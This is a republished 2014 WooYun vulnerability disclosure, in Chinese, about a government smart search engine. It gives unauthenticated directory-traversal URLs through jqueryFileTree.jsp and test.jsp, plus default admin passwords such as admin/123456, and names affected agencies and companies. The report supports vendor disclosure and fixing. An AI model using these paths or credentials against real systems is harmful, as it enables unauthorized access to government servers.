某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

admin
admin
admin
139629
文章
114
评论
2015年5月17日05:44:40评论499 views字数 248阅读0分49秒阅读模式
摘要

2014-08-08： 细节已通知厂商并且等待厂商处理中
2014-08-11： 厂商已经确认，细节仅向厂商公开
2014-08-14： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-10-05： 细节向核心白帽子及相关领域专家公开
2014-10-15： 细节向普通白帽子公开
2014-10-25： 细节向实习白帽子公开
2014-11-04： 细节向公众公开

漏洞概要 关注数(12) 关注此漏洞

缺陷编号： WooYun-2014-71256

漏洞标题： 某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令 某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

相关厂商： 中科汇联

漏洞作者： loli某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

提交时间： 2014-08-08 16:39

公开时间： 2014-11-04 16:40

漏洞类型： 任意文件遍历/下载

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 第三方不可信程序

3人收藏

漏洞详情

披露状态：

2014-08-08： 细节已通知厂商并且等待厂商处理中
2014-08-11： 厂商已经确认，细节仅向厂商公开
2014-08-14： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-10-05： 细节向核心白帽子及相关领域专家公开
2014-10-15： 细节向普通白帽子公开
2014-10-25： 细节向实习白帽子公开
2014-11-04： 细节向公众公开

简要描述：

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令；

详细说明：

code 区域 
爱觅桔智能搜索引擎是中科汇联自主研发的“提供知识的搜索引擎”,首创知识图谱关联、百姓体匹配、智能引导、自定义框计算等特色搜索服务功能,采用语义理解技术、机器学习技术,实现智能搜索、文档搜索、多媒体搜索功能。

漏洞一：第三方组件调用未进行授权访问

网站调用了jquery 显示本地文件的插件

jQuery File Tree：

文件分别为

jquery.js (jquery核心库)

jqueryFileTree.js （jqueryFileTree核心库）

jqueryFileTree.jsp （用于JavaScript和jsp的连接，添加列表元素等操作）

jqueryFileTree.css

code 区域 
**.**.**.**:8080/dig/codebase/jqueryFileTree.jsp?dir=d:/  (查看源文件)
 **.**.**.**:8080/dig/pages/crawl/test.jsp?r=d:/

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

漏洞一：后台存在默认口令

admin 123456

mengfx 123456

liuzp 123456

登陆地址：

code 区域 
http://**.**.**.**/dig/login.jsp

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

漏洞证明：

code 区域 
海关总署    （弱口令 mengfx 123456）
 http://**.**.**.**/dig/pages/crawl/test.jsp?r=D%3A%5C
 
 深圳南山GOV在线
 http://**.**.**.**/dig/pages/crawl/test.jsp?r=/
 
 上海青浦GOV
 http://**.**.**.**/dig/pages/crawl/test.jsp?r=/
 
 国家博物馆（弱口令admin 123456）
 **.**.**.**/dig/login.jsp
 
 莆田出入境检验检疫局（弱口令 mengfx 123456）
 http://**.**.**.**/dig/login.jsp
 
 河北GOV在线（弱口令 mengfx 123456）
 **.**.**.**/dig/login.jsp
 
 中华保险  （弱口令admin 123456）
 **.**.**.**:8080/dig/pages/crawl/test.jsp?r=D:/    
 
 北京国土资源局  
 http://**.**.**.**/dig/login.jsp  （弱口令admin 123456）
 
 深圳光明GOV
 http://**.**.**.**/dig/login.jsp     弱口令admin 123456
 
 天阳集团
 http://**.**.**.**/dig/login.jsp  弱口令admin 123456

修复方案：

对第三方插件进行授权访问，修改默认口令。

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-08-11 10:08

厂商回复：

CNVD确认并复现所述情况，已经由CNVD直接联系上软件生产厂商，厂商响应及时迅速，已经拟定修复方案并将做好用户的应急响应工作。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-09-22 16:29 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    0

    用户名是默认的？

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin